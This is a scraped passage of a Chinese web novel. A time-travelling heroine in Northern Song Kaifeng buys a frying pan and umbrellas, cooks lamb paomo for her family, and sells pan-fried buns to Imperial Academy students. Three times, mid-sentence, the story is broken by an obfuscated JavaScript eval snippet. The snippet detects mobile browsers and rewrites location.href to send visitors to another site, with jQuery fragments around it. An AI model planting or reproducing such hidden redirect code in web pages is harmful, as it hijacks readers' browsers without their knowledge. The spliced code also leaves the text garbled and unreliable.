“咱们家好多肉呢！都能吃的吗？” 黄樱笑，“能呢。” “羊肉也能？” “不给自家人吃，还能给谁吃？” 小丫头立马高兴起来，蹦蹦跳跳往家走，“我还没吃过羊肉呢！” 这次照例是六十个饼，卖了1200文钱。 黄樱感觉到斜挎布包里沉甸甸的重量，心里很踏实。 谢家的赏钱虽多，却不如自个儿赚的踏实。 说起羊肉，要问黄樱头一道想做什么，她脑子里第一个冒出来的是羊肉泡馍。 所谓家乡的味道，便是天天吃着并不觉着多好吃，一旦长久没吃，便要想念了。 这才几日，她已经想念小区楼下的小炒泡馍了。正好家里有烙馍。 路过一家卖灶具的铺子，黄樱心里惦记着烙饼，一眼瞧见了铁铛，——平底煎锅。 不愧是大都市东京城，这铁铛光是大小便分了三种，另还依着铁的用量，每种大小亦分不同价格，可满足各种需求。 她想要的，底要厚些，烙饼、煎炒都不易糊锅。 掌柜指着最贵的，“足用了五斤铁，底上便用了三斤，最宜煎炒。” 要整整一贯钱。 又瞧了瞧，铺里都是些锅、釜、盆、碗之类。 她问掌柜，“若我想要一种铁方盘，与这铁铛一般大，不需这般厚，可能做？” 掌柜捋着胡须，“这可不简单。小娘子是做着玩儿？” 黄樱笑，“我想做一种吃食要用呢。” 她的窑炉好了还得有烤盘才行。 “据某所知，东京城的铁器作没有这样的铁范。小娘子要做，便要从范做起，这可不是一笔小钱呐。” 铁范便是铁模具，北宋铁器作用铁范较多，比陶的经久耐用。 掌柜的给她算了一笔账，“光是这开模用的铁，便得一百斤，匠人得做半月，光这个，也得数十贯钱，且小娘子只自个儿用，这铁范便浪费了。” 黄樱听明白了，“那若是找窑口烧瓷的呢？” “小娘子说笑了，便问小娘子自个儿，在这茶楼酒肆，可瞧见方形的器具？难道是定窑、耀州窑的匠人想不出么？” 他摇头，“盖因方形工艺太难，成品太少了。” 掌柜瞧她钻牛角尖，劝道，“凭你要铁的还是瓷的，东京都没有方的，都得从模子做起，且得窑口清闲时候才有空呢，小娘子若做的少，他们是不划算的。” “还请掌柜问问，若有合适的，我便做，尤其瓷的，不需多细致手艺，只要方方正正无裂隙便好。” 开门做生意，没有将钱往外推的道理，孙掌柜笑笑，“小娘子如此说，我少不得揽下了。” 黄樱笑，“有劳有劳。” 她拿着那大铁铛瞧了半日，扭头看向爹。 爹说：“买罢，你娘那里我去说。” 黄樱笑弯了眼睛。 三人走出铺子，黄樱背上多了一口大铁铛，跟家里大铁锅一样大，爹担子里还多了三十只瓷碗，并三十双木筷。 百姓们用的粗瓷便宜，一个五文钱，筷子一文钱一双。 宁丫头拍着小胸脯，噘嘴，学娘的语气，“乖乖！锅子也恁贵！” 想着要摆摊了，还得要把大青伞才行，又去伞铺买伞。 最便宜的桐油纸伞，竹柄的，三十文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16264559|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商贩遮雨雪那种大青布伞，一个要一百五十文。 黄樱咋舌，真贵。 那些高档的青罗伞，用湘妃竹、紫竹、檀木柄……装饰朱漆、彩绘、刺绣的，几贯到数十贯的都有。 黄樱又扛着青布伞出来。 宁丫头跃跃欲试，想要抗，黄樱放到她肩上，“若扛不动便喊爹。” “嗯！” 小丫头甚是喜欢，小小的人，扛着比她人两倍长的伞，走得踉踉跄跄。路过的人都要往她身上瞧一眼。 黄樱想起来，原主记忆中，家中连把油纸伞也没有的。下雨时小丫头最喜欢看旁人打伞，很是羡慕。 黄樱心里软软的。 她停下来，爹和宁姐儿都看她。 “还有样东西忘买了。” 她牵着宁姐儿，又走回伞铺子。 小丫头疑惑，“二姐儿，忘了甚麽？” 黄樱摸摸她的头，“咱们家还没油纸伞呢，下雨可怎生是好？宁姐儿挑两个来用。” “啊！”小丫头眼睛瞪大了，望着那些油纸伞，有些迟疑，“真买呐？” 以往下雨天儿别的人家都有伞，隔壁威哥儿神气地撑着伞看他们拾粪，她和允哥儿都要淋雨。 她噘着嘴委屈，红了眼睛要娘买伞，娘说“没钱”。 黄樱笑，“买！” 她扛着大青伞，牵着宁姐儿从伞铺走出来，小丫头碎发被冷风刮得乱飞，小黑脸涨得红彤彤的，眉飞色舞，走路都跳起来了。 大太阳天儿，她要撑着伞，撑一把，手里拿一把。 有那小娃娃，羡慕地瞧着她。 可把宁姐儿神气坏了。 黄父也笑了。 “二姐儿你瞧！”小丫头跑到前头，美滋滋地撑着伞，抬头瞧瞧伞上的竹骨，眉开眼笑的，一蹦一跳走路，笑声撒了一路。 黄樱笑笑，又花二十文割了四块豆腐，并一块干豆腐，也就是豆干。干豆腐要卤制、晾晒，价贵些，一块便要八文钱。 还在三伯铺子买了猪油膏、肥瘦肉，花了七百文。 她准备窑炉好了烤些东西，需要大量猪油，她得空儿先准备起来。 走到巷口，瞧见孙画匠的招牌。 孙娘子背上背个小娃娃，正洗衣裳，一双手冻得红肿，瞧见人来，忙在腰间青布巾子上擦了擦，起来招呼，“二姐儿大好了？” 黄樱笑，“托娘子的福。” 二姐儿印象里孙娘子总在洗衣裳，这场景她很熟悉。 宁姐儿仰头盯着小娃娃瞧，得意地转着手里的油纸伞。 孙画匠也没有铺子，就在家中画东西。 照旧是大杂院儿，四五家人口，东屋打孩子，“哇啦”“哇啦”叫，西屋和北屋的在吵架，两个娘子叉着腰，站在台矶上，这个说“放你娘的屁”，那个说“没皮没脸的东西，还说没偷我家油！” 这是很常见的。 几人面色如常，被迎到孙画匠家里。 黄樱打量了下，屋子里干干净净，整整齐齐，跟普通人家还是不一样。 透着一股“雅”。 墙上有字画，还有小匾，写着“四时佳兴”。 屋里还插着梅花。 黄樱道了万福，笑，“我家摊子想请孙画匠画个招牌。” “也是青布幌子？” 孙画匠四十来岁，穿儒衫，戴顶巾，声音温和，喝的还是茶，忒讲究。 “是呢，青布幌子，写上‘黄家’二字。” 黄樱拿着根木棍儿，蹲在泥地上，画了个简笔小人，头上三根毛，张大嘴巴，大口吃饼，嘴角还掉了些渣。 孙画匠瞧了眼，捋着胡须，“倒是有趣。” 黄樱笑道，“还请画上此物。” “这简单。” “不知要多少钱？” “青布幌子都是一样的价儿，画要加一百文钱，统共是三百文。” “几日能好？” “三日。” 两方又到牙人那里做保，签了三份文契，画了押，这笔生意便算成了。 到了家，这次非但不能给娘数钱，还倒贴钱买了铁铛和伞。 加上买砖和牛娘子处花的，统共花了八贯五百五十文钱。 不算不知道，一算吓一跳呐。 这还不算孙氏锅具铺子订做烤盘和模具的钱。 他们这几日做生意拢共攒了两贯九百一十四文钱。 扣掉花费，加上谢府赏赐，如今的存款统共四十四贯三百六十四文钱。 用娘的道理，便该将钱一分一分都省下来攒着，像她一样今儿买这个，明儿造那个，钱别想攒得住。 她不敢面对娘的疾风暴雨，让爹去说。 她溜去灶房准备晚饭了。 21. 做小炒泡馍 021 “大伯！”令哥儿气喘吁吁跑来，“木料有了！” 黄父忙从灶房出去，拍打袄上的土，“怎么说？” “那张家木材铺，有一批杉木，做桌椅再便宜不过，咱们快快去拉，晚了可被人抢完了。” “甚麽价？”黄娘子忙从屋里出来，拄着拐。 “一百文一方。” 黄娘子：“乖乖！还等甚！我拿钱去！” 黄樱记得年前有人请爹打桌椅，杉木是最便宜的，一方也要两百文往上呢。 谢府给的黑漆小箱儿，娘拿了两贯，犹豫了下，一咬牙又拿两贯。 黄樱惊讶，“买恁多？” “咱们做木匠的，家里没些木料怎行？再者，这摆摊儿，几套桌椅就要用不少。”她将四串沉甸甸的铜子儿用青布包了，递给她，“让你爹多买些。” “哎！”黄樱忙跑出去给了爹。 令哥儿是跑回来的，满头大汗，顾不上歇，跟爹两个跑了。 大概半个时辰，黄樱将红豆泡上，收拾了灶房，正准备割肉，听见大门“哐当”一声。 爹笑着推门进来，拉着车，额头上都是汗。 车上堆了满满一车！ 她忙跑过去，“恁多木料！” 令哥儿十五，是个笑嘻嘻的小郎君，“好容易才抢了一车！你们不知多少人在那呢！亏咱们跑得快！好些人打起来了。” 黄樱帮着卸车，将木料堆到屋檐底下。 令哥儿还要忙，牵了牛要走。 黄樱跑回灶房，给他塞了两个猪肉夹饼，“我新做的吃食，你尝尝好不好呢。” 令哥儿急，忙揣进怀里跑了，“回见！” 爹从屋里搬出了车床、锯子、凿子、刨子，开始锯木头。 这车床可是爹的宝贝，可硬了，足用了两根榉木，加上铁制的转轴，价不便宜，算得上家里顶顶金贵的物件，比娘的大铁锅、大笼屉还贵。 平日放在娘那屋里，堆着架着满满当当的东西。 要做大件儿的时候才用得着。 平日做个碗儿、盆儿、木勺儿、擀面杖儿、银匠槌儿是用不上的，非要打柜子、桌子、梳妆的匣子、船上的滑车梭子才用。 去岁给大姐儿打嫁妆，光刨出的木花儿，便堆了好大一座！快有屋檐高呢！ 谁路过都要进来瞅两眼，啧啧称赞，“好俊的手艺！我家二姐儿出嫁也找你！” 别看爹这人憨厚，对谁都笑一笑，心里可是有一笔账的。给吴员外打柜儿那会，他就没用榉木车床。 一则吴员外怕爹私下里昧了木料，非要爹上他家铺里去打不可；二则呢，怕爹故意磨工，半月能做完，拖二旬，多要钱；三则，一开始就打着主意，管晌午那顿泔水饭，好克扣钱。 爹不喜欢吴员外，但家里买不起木料了，他手痒，带着那一套鲁班的工具去了。 每日回来都很高兴，说他的榫卯多么严丝合缝、柜门儿多么分毫不差。 爹做的东西多了去了，除了那些家常日用的，还有什么弹弓儿、风筝绕线的小车儿、巷口闲话的老太太们手里的纺线锤儿，对了，还有上元节的兔子灯！七夕的磨喝乐！ 黄樱瞧了一会子，可真有意思，但她该做饭了。 如今天儿冷，屋子里就是天然冷冻室。 谢家赏的肉，已冻得半硬，这是最好切的时候。 她听见娘在念叨了，“这小妮子手脚越发大了，你下次可得劝着点儿！” 黄樱失笑。 她娘就是刀子嘴豆腐心。 两辈子都有为她考虑的家人，活着真的很好啊。 她喊爹将两把菜刀都磨过，刀刃银亮，瞧着便锋利。 她在手上轻轻一转，让爹扶着羊腿，自个儿如庖丁解牛般，将肉都剔了下来。 骨头她留着，准备炖羊汤用。 冬日里喝羊汤，想想便安逸。 一只羊身上的肉统共也就四五十斤，大娘子赏的是肉多的羊后腿，剔下来肉有五六斤。 她挑了一块，将肥肉剔下来，与瘦肉分别切成小块，放花椒、葱姜、酱油腌渍。 小炒泡馍比起清汤水盆羊肉或者羊肉泡馍，要重口一些，是酸辣口的。 正经做法配菜还需西红柿、粉丝、干豆腐、黄花菜和木耳。 西红柿北宋是没有的，其他几样都有。 只不过木耳尚未达到后世人工养殖的程度，都是自然采摘，有桑耳、榆耳等等，价不便宜。 黄花菜，这时叫萱草花，她买了一斤，也才15文，有很大一把。 她准备用香蕈代替木耳，和萱草干一起放水里泡着。 再就是馍，用肉夹馍的馍就行，和干豆腐一样，也切小块备用。 可惜北宋没有粉丝，不过影响不大。 她还切了一把菠薐菜，也就是菠菜。 油热先下羊肥肉，炒出油，然后下瘦肉，滑散，炒到变色浇一勺陈醋炝锅，陈醋既增加酸味，也能去腥。 正经做法还要加秦椒面的，北宋没有辣椒，黄樱便撒了一把茱萸替代。 然后舀入肉汤、清水煮沸，打入鸡蛋滑散，放盐、五香粉调味，然后放入馍和配菜，大火炒至汤汁都被吸收，就可以出锅了。 满屋里都是肉香。 宁姐儿在灶台下，馋得直吸鼻子。 小丫头麻溜地将火熄了，地上的柴收拾整齐。 娘已经摆好了碗，黄樱挨个盛满。 宁丫头捧着自个儿的碗，伸出舌头舔了一口肉，被烫到了，忙缩回来，吸溜着口水，“二姐儿！辣的！” 黄樱端着两碗小炒泡馍钻出厨屋，允哥儿和宁姐儿跟着。 天边斜晖脉脉，只留一片残红。 寺庙里的鼓声传来，紧接着便是钟声，余韵悠长，回荡在街巷中。 各家升灶做饭，院里混杂着食物香味。 娘打发两个小娃给三婶家送了一大碗。 小孩儿端着碗迫不及待跑回来，碗里放着一块猪肉。 娘叹了口气，“哎！你三婶这个人！” 爹将黄樱屋里的细腿大方桌搬了过来，一家人围着炉火吃饭。 苏玉娘瞧见每一碗都有半碗肉，心疼，“二姐儿忒舍得下料！羊肉全下去了？” “哪能。还剩大半呢！”黄樱道，“不知大哥儿几时能回，剩下的留着，他回来再做。” 大家都赞成。 这可是羊肉！一斤羊肉两百文钱，平日里过年也不舍得吃呢！ 允哥儿和宁丫头最高兴。允哥儿脸色红润了些，瞧着比前几日好些。 他小脸红彤彤的：“过年一样。” 苏玉娘，“可不是！” 她也高兴，“再没有想到有这样天上掉馅饼的好事呢。” 黄樱笑着低头，迫不及待舀了一勺放进嘴里。 宁丫头已经在狼吞虎咽了，“好香。” 馍已经煮透了，酸辣浓稠的汤汁浸泡着，裹满了肉香。 饼是半发面，不至太软，反而带着韧，咬下去还有嚼劲。 汤汁经过长时间炖煮，滋味鲜美浓郁，所有食材一口吃到嘴里，真的很满足。 牛羊肉最讲究火候，多一分都老，黄樱用生肉现炒，最大程度保留羊肉的鲜和嫩。 谢家赏的乃上等羊肉，肉甚至带着奶香，加上酸酸辣辣的调味，让人胃口大开。 一时间满桌都是稀里哗啦的干饭声。 吃完，天都黑了。 平日家里不舍得点灯，收拾完便要睡下。 黄樱今儿却点了灯，将两个屋里炉火都烧旺，开始和娘熬猪油、炒猪肉馅儿。 爹准备赶工先将摆摊的桌凳做好。 等面包窑晾好，黄樱头一个便打算烤桃酥。又酥又脆，入口直接化在嘴里。她已经馋了。 桃酥她要用猪油来做。 肉馅儿跟戚娘子偷走的那次一样，还是豆腐肉沫馅儿。 不过，她不打算做成肉包子了。 她要做水煎包。 五斤猪油，熬完剩下一小盆猪油渣。 黄樱给两个小孩儿一人喂一口，咬下去“咔嚓”一声，酥脆得很，有那带筋的，嚼起来也很有滋味。 宁丫头还想吃，黄樱收了起来，“再吃要撑了，留着改日给你们烙饼吃。” 这小丫头吃起来没节制，吃撑对身体并不好。 “好吧。”小丫头叹了口气，小大人似的。 娘那边也熬好了，黄樱过去瞧了眼，将油倒进陶罐里。 黄父在院里笑着招手，“二姐儿，来。” 黄樱扔下锅铲，跨过门槛，跑过去，眼睛亮晶晶的，“爹！” 宁丫头和允哥儿小尾巴似的跟着跑。 只见爹拿起立在旁边的一个带着木料新茬、白崭崭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16281168|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杉木折叠交脚架儿，弯腰将折叠的腿儿放平，一下子立住了！ 再将桌面架上，便是一张桌儿！ 黄樱忙压了压，桌面又平又稳当！ “爹！好厉害，这便做好了！” 黄父笑了笑，又上了车床，坐到跟车床连在一处的骨牌凳上，踩着踏板，继续刨木料了。 木花儿从前头的嘴儿吐出来，掉在爹的腿上、鞋上，在泥地上堆了起来。 宁姐儿和允哥儿蹲在一旁，拿木炭在上头画画、写字儿。 黄樱凑过去，“爹，我说的打鸡子的，可想好了怎麽做？” 黄父道：“能做，爹再想想。” 直忙到二更，爹做出来两张桌儿，两个凳儿，加上家里原有的四个，能凑六个凳儿。 爹拍掉一身木屑，披着寒气走进屋来，弯腰查看泥炉，将两只粗糙皲裂的大手放到炉子上暖着。 “明儿上午我带你娘去马行街看腿。”他沉默着开口。 苏玉娘一愣，随即阻止，“大夫说养着便好，这几日吃的好，我都感觉有劲儿许多，去那里作甚，多少钱不够败家的。” “娘，你去罢。明儿家里有我呢。”黄樱原也这样打算，“甚麽也比不上腿重要，这事儿你得听爹的。” 她麻利地将炉盖儿盖上，掏出些炉灰放进谢家小娘子给的手炉里，晚上放在被窝，能暖一晚上呢。 正好两边屋一边一个。 “你们带多些钱，别总想着俭省，咱们每日都能赚呢。要不，明儿不摆摊了，我也去！” 苏玉娘放下手里缝的衣裳，板着脸，一双眉毛吊起，“一个个的翅膀硬了，教训起老子娘来。你们以为那五十贯钱多呐？你想租摊不要钱？那些杂七杂八几十贯钱怕不够呢！” 她斩钉截铁，“明儿非开张不可，那摊儿闲着一日便是一日的钱。” 黄樱笑眯眯的，“那娘要去看腿，看摊儿的事有我呢。爹，明儿你将娘绑了去。” 苏玉娘，“好你个小妮！” 黄樱将猪油放好，撒腿跑了，“爹别忘了！” 宁丫头乖乖守着锅，“二姐儿，水开了。” 黄樱摸摸小丫头，“真乖。” 她将暖手炉塞进被窝，拍拍允哥儿，“好了，把牙刷了便歇罢。” 自打买了软些的马鬃毛刷牙子，两个小孩儿也爱刷牙了。 黄樱把鸡蛋打了，先让爹打鸡子。 鸡子糕今晚先做好，明儿就能多卖些馒头。 家里的笼屉是大锅的，非得到灶房蒸不可。 爹烧火蒸鸡子糕。 黄樱则洗了把手，在腰间青花布巾上擦干，称了面粉，将馒头面和好，先把蜜豆和蜜枣馒头包了，各包一百个，放到笼屉上醒发。 又单独和了水煎包的面，依旧是筛过的麦面，只加盐，老面种，一勺胡麻油。 然后将水煎包包好。 她包的是饺子状的，这样简单，速度快些。个头也不大。 一共用了三斤猪肉，四斤豆腐，成本两百文左右。 包了两百个多一些。 她打算一个卖三文钱。 以现在的温度，完全不用担心发过了，明儿直接上锅就行。 为防止娘起疑心，除了第一次，后面的馒头面团她都用了老面发酵，就像娘以前一样。 面种在面食品制作中不但能减缓面团老化，还能增加风味。 这在面包里是更明显的。 她将留的老面种放盆里盖好，防止风干。 还包了一百个馄饨摆摊试水。 鸡子糕蒸好了。 这次娘怎么也不同意往厨房放，都放到他们屋里。 放她屋里怕小孩儿馋得睡不着。 满屋子鸡子糕甜滋滋的味儿，小娃受不了。 真哥儿被黄樱还回来了，跟着爹娘睡。让她抱着个一岁的小孩儿，黄樱真担心半夜压到。 前几日都不敢睡踏实。 将明儿要摆摊的桌椅、锅子、炉子、油盐酱醋坛子、芝麻、紫菜、干虾子全都整理好，已近三更。 她打了个哈欠，洗漱睡觉了。 屋子里残留着炉火余温，空气中还漂浮着炸猪油的味儿。 寒风吹得糊窗的竹纸“哗哗”响。 小孩心满意足地闭上眼睛，小胸脯起伏。 黄樱想了想明儿摆摊的事儿，安心地睡着了。 22. 太学来摆摊 022 五更。 街巷里响起敲木鱼的声音，“笃——”“笃——”“笃——” 黄樱打了个哈欠，忍着地窖似的温度穿衣服，好冷，浑身鸡皮疙瘩都起来了。 这些寺院行者起得真早，每日都走街串巷循门报晓呢。 她哆哆嗦嗦打开门，寒风当头一吹，困意立即散了。 灶房里竟亮着幽微的光。 “爹？” 黄樱掀起帘子，爹静静坐在灶台前，只有炉膛里透出翕微火光，照着爹黝黑的脸。 那双憨厚的眼睛里不知在想甚麽。 爹已将水烧好了。 她忙舀水洗脸刷牙，手碰到热水，太幸福了。 她甚至不舍得拿出来。 “爹，我的大青伞怎没见？”她记得昨儿放在墙角的。 黄父捅了捅灶膛，火更旺了些。 “我去了趟你赁的地儿，大青伞、泥炉儿、铁铛、桌凳碗筷都放那儿了，旁边卖酱辣菜的王娘子替你看着。” 黄樱吃了一惊，“爹你几时起的？竟这样早？” 黄父憨笑，“水开了。” 一晚上低温发酵，馒头发得刚刚好。 黄樱和爹两个人，将笼屉放到锅上蒸。 五层大笼屉，一屉足足四十几个。 蒸馒头很快，要不了半个时辰。 昨晚包的大饺子已经冻硬了。 黄樱垫几层麻布到竹篾篮儿里，再将水煎包放进去，足足装了一篮儿。 再将鸡子糕也装了。 每次做五十个鸡子糕，差不多是他们家人力的极限。 还有和面，当真是力气活。全靠爹揉，黄樱自个儿完全不行。 她这几日都在琢磨厨师机的原理，想要让爹做个类似的机械装置。 怎么都比光靠人省力。想赚钱还得增加销量，产量跟不上也不行呐。 馒头蒸好，黄樱先拿了，跟爹蹲在灶前吃。 烫呼呼的，暄软蓬松，红豆沙又香又甜，一口下去，人都精神许多。 爹借了三婶的车，他们直接将笼屉搬上去。 娘带着真哥儿看家，赶着替他们缝袄。 宁丫头和允哥儿打下手，娘给他们裹成球儿，“宁丫头烧火，允哥儿给爹搓油纸，好好干活。” 宁姐儿困得眼睛睁不开，被娘裹衣服拨弄得前摇后晃，“晓得了！” 允哥儿跟着爹，圆墩墩地跑前跑后帮忙，一会儿递绳子，一会儿拿锅铲。 …… 今儿比往常出门子早了一个时辰。 爹拉车，黄樱在后面推，风真大！ 她缩了缩脖子，脸冻得疼，“宁姐儿，允哥儿，好生跟着么？当心墙角冰滑。” “嗯！”小孩儿齐声。 到了市井，灯火通明。 外城来的小商贩已经摆了摊，各家饮食铺子热气腾腾，香味儿飘得满街都是。 黄樱瞧见个眼熟的小孩儿，上次帮人跑腿儿，这次还带着个小丫头，衣衫单薄，穿着草鞋，正携着磁缸子吆喝，卖发牙豆儿。 小丫头还没宁姐儿大，跌跌撞撞挎着篮儿，里头是盛开的老桩梅。 两人脸冻得发青。 旁边还有卖蒸梨枣、黄糕麋、宿蒸饼的。 虽说他们家日子已经不好过，这些人比他们还难过呢。他们是赁不起屋的，只在街巷里搭了棚屋，胡乱住着。 又走了两步，碰上驴子驮着卖木炭的，黄樱一问，这寻常木炭已降价到二十文一斤！算是正常价了，当然，不能跟富贵人家用的那些香炭比。 “路上雪化啦，路通了，这炭价自然下来了。” 黄樱很高兴，“想必石炭也有了呢！” 这些日子大雪阻断了运输，他们每日买柴便要花不少钱。 相比而言，炭又经烧，又便宜，火也更旺，比柴经济许多。 爹也笑，“回头去炭场买石炭。” “好嘞！”黄樱搓了搓手。 北宋已经大量开采石炭，——也就是煤炭了。 因着价便宜，下层百姓用石炭还更多些。 “昔汴都数百万家，尽仰石炭，无一家燃薪者”。① 别的不提，光说东京城周围的炭场，便有二十多个呢！足见用量之大。 冶铁、制瓷用硬碳多些，普通百姓图便宜，会买煤渣来做成煤饼或煤球。 只不过这石炭烟大，熏人，富人家取暖是不用的，宫廷、贵族人家用无烟的硬木炭多些，那价格便是石炭的百千倍。 市井唱卖声此起彼伏，她也清了清嗓子，唱卖起来，“蜜枣馒头——蜜豆馒头——五文一个咧——” 宁丫头跟着她唱，稚声稚气，“又香又甜的黄家馒头咧——” …… 昨儿旬休，家住东京城的太学生纷纷回家，大多赶着晨课回来。 也有那家在外地者，趁着旬休外出，上瓦舍妓馆厮混，至次日方回，赶着进太学前打打牙祭。 若是进了太学，一旬不可外出，只有膳堂可吃。 膳堂……不提也罢。 附近饮食，要数南街最为繁盛。 李家南食分茶店，南方学生旬休必要去的。 还有李庆糟姜、丁家素茶、曹婆婆肉饼、段家爊物、吴家从食、梅家、鲁家鹅……及其他瓠羹、汤饼，乃至冠朵、襥头、腰带、书籍铺席，入市便点了灯烛。 酒店沽卖、小贩吟唱，都是常见到的景象。 天儿冷，时间又紧，几个太学生缩着脖子急匆匆走来。 “曹婆婆肉饼要买些存着，这头三日，便只用这个，届时用火一烤，那饼皮兹拉冒油，滋味别提了。” “还有李庆家糟姜！若到了后几日，实在要吃膳堂，有这糟姜，便是‘有味三闾羞’！可救我一命！”② “既有糟姜，再买些王娘子酱辣菜，就炊饼吃也好过膳堂呐。” “是极是极！赶快些，将这十日吃食都买够了，某不想吃膳堂！” 南街上各家饮食铺子已习惯了这群太学生旬休后囤积的习惯。 太学里头有学生三千，他们都准备了多多的各色饮食。 王家脚店的青白酒幌子在寒风中猎猎作响。 一个头包布巾，腰系青花手巾的娘子站在门前，笑着招呼，“新进了高阳店的清风、玉髓酒——若是饮食，百味羹、三脆羹、索粉、煎爊肉，郎君们来尝尝呢！” 几人并不停留，他们心中已有打算。 “咦？好香的味儿！” 街上各色饮食味道混杂，其中有一股格外突出，香得出奇。 几人循着味儿扭头，瞧见熟药惠民南局前头街边儿，邻着卖酱辣菜的小摊，新多了一个小娘子，围了好些人。 青布幌子被风吹得上下翻飞，上面黑墨写了大大的“黄家”二字。 最稀奇的，要数那个头上只三根毛大口吃饼的小娃娃画。 一群人指着嘀咕。 再看那干净利索的小娘子面前，好大一个铁铛！不知在煎甚麽，香味儿便从那里飘来。 好些人被那股味儿吸引，都扭头瞧。 桌上两个小娃娃擎着勺儿，吃得满头大汗，端起碗连头都埋进去了，竟是吃得干干净净。 瞧着便让人咽口水。 “那不是崔蕴玉么？”韩悠刷地打开洒金扇，“他不在学斋温书，竟也贪图口腹之欲？呵，走，去瞧瞧！” “韩二！那曹婆婆肉饼？”同舍的王珙拉着他，有些急。 秦晔：“急甚麽，崔仲平那个炮仗也在，走，瞧瞧去！能瞧崔蕴玉的热闹，吃十日膳堂又如何？” 王珙：“……你们瞧去，我自个儿买饼。打死我也不吃膳堂。” 说完扭头便进了曹婆婆店。 韩悠：“出息。” 扭头正要走，又瞧见一个人。 “哟，这不是泽之兄么？”韩悠将手搭人肩上，“自打杜兄升入内舍，子勖甚是想念呐！崔蕴玉在前头买吃食，走，一起去瞧瞧！” 原来这韩悠本与崔琼、杜榆等人同为外舍生，如今他们二人一人升入上舍，一人升入内舍，只他仍在外舍，心中便有不忿。 杜榆将他的手放下，笑道，“正要去。” “哦？泽之兄知晓所卖何物？” 杜榆温和地笑：“瞧了便知。” 那一身青袄的小娘子手脚麻利地掀开榆木大锅盖，灯火下，热气扑面而来，围观众人不由咽了咽口水，好香！ 黄樱笑道，“豆腐肉糜水煎包好啦！一个三文钱咧——” 这一群好些是老客，“今儿可能尝呢？” 黄樱笑着捡老客已经买了的，拿油纸包好递过去，“您的水煎包！” “都能尝的！郎君尝尝？好吃再买。”她声音脆生生的，立马包了一个试吃的递过去。 又麻利地捡了几个馒头，递给另一个人，“您的馒头咧！” 她接过钱放进腰间斜挎布包里。 崔琪闻着有些饿了，早上小娘训导他半日，没工夫吃早膳便赶来了。 “给我也捡一个来尝！”他在街上闻见了香味儿，拉着他哥直往此处来。 “好嘞！”黄樱包了好些小的，专门用来试吃，她麻利地递过去，笑着道，“郎君，给！” 韩悠走到人群后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16298514|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面一瞧，那铁铛里满满当当的煎包子，这包子形似月牙儿，褶子捏得精致可爱。 白莹莹包子，上头撒了黑芝麻，鲜绿绿的葱花儿。 不说滋味如何，瞧着便让人心喜。 只见那小娘子动作麻利地一铲，将包子全铲到一个瓷盆里，底部竟是金黄，带着薄薄一层酥壳儿，香味便从这里飘来。 “这是甚？小爷怎不曾见过？”他挑眉，阖上扇儿，拨开人群，往里走。众人怒而扭头，瞧见是他，不由咽下骂人的话。 竟是这个韩二郎！ 韩相公任枢密使，可跟宰相比肩，惹不起惹不起。 黄樱往锅里倒了一圈油，拿一把猪毛刷刷匀了。 又从竹篾篮儿里拿出大饺子，手脚麻利地摆满。 只见她两只细细的胳膊攥着铁铛把手轻轻一摇，月牙儿包子便在锅里整整齐齐晃了一圈儿又一圈儿。 围观众人发出惊叹的喝声。 油煎面皮的味儿一下子涌出来，真香！ 宁姐儿坐在专属小凳上，火烤得她浑身暖暖的，火光照在小脸上，眼睛亮晶晶的。 韩悠闻了闻，又见她从一旁陶瓮里舀出一勺白乎乎的汤水，沿着锅边浇下去，“滋啦啦”的声音和着热气冒出来。 黄樱提起锅盖，“砰”一声盖上。 崔琪咬了一口那月牙儿包子，没堤防汁水在嘴里爆开，烫得他脸皱成一团，“嘶溜”不停，“好烫！” 黄樱麻利地捡包子，笑着提醒，“水煎包小心烫呢！” 崔琼无奈地递上锦帕，“仲平。” 崔琪瞪大圆溜溜的眼睛，满是惊奇，他随手擦了嘴，“这月牙儿包子我要五十个！” 喝。 围观之人都惊了。 韩悠立即道，“小爷也来一个尝尝！” 立马七嘴八舌都是要尝的。 黄樱挨个送了。 之前尝的，头一锅四十个已卖了大半。 黄樱揭开锅盖，油“滋啦啦”的声音冒出来，众人深吸一口气，好香！ 她撒上黑芝麻和葱花儿，笑着对崔琪道，“这一锅正好五十个，我给您包！” 她一手垫着块青布巾防烫，一手麻利地拿筷子捡包子。 这里学生好些都是讲究人，瞧见她干净利索，旁边烧火的小丫头和小郎也自有一股招人喜欢的劲儿，便有了好感。 一个油纸包五个，正好包了十包。 前头包好的，崔琪已拿了一个，吃得陶醉。 韩悠本瞧不起猪肉馅儿，一尝，乖乖！这包子皮儿软得赛棉儿，馅儿香得赛羊肉，底部金黄焦脆，一口下去，夹着芝麻的香，绝了！ “下一锅我都买了！”他摇了摇扇儿。 “好嘞！”黄樱笑得眼睛弯下来。 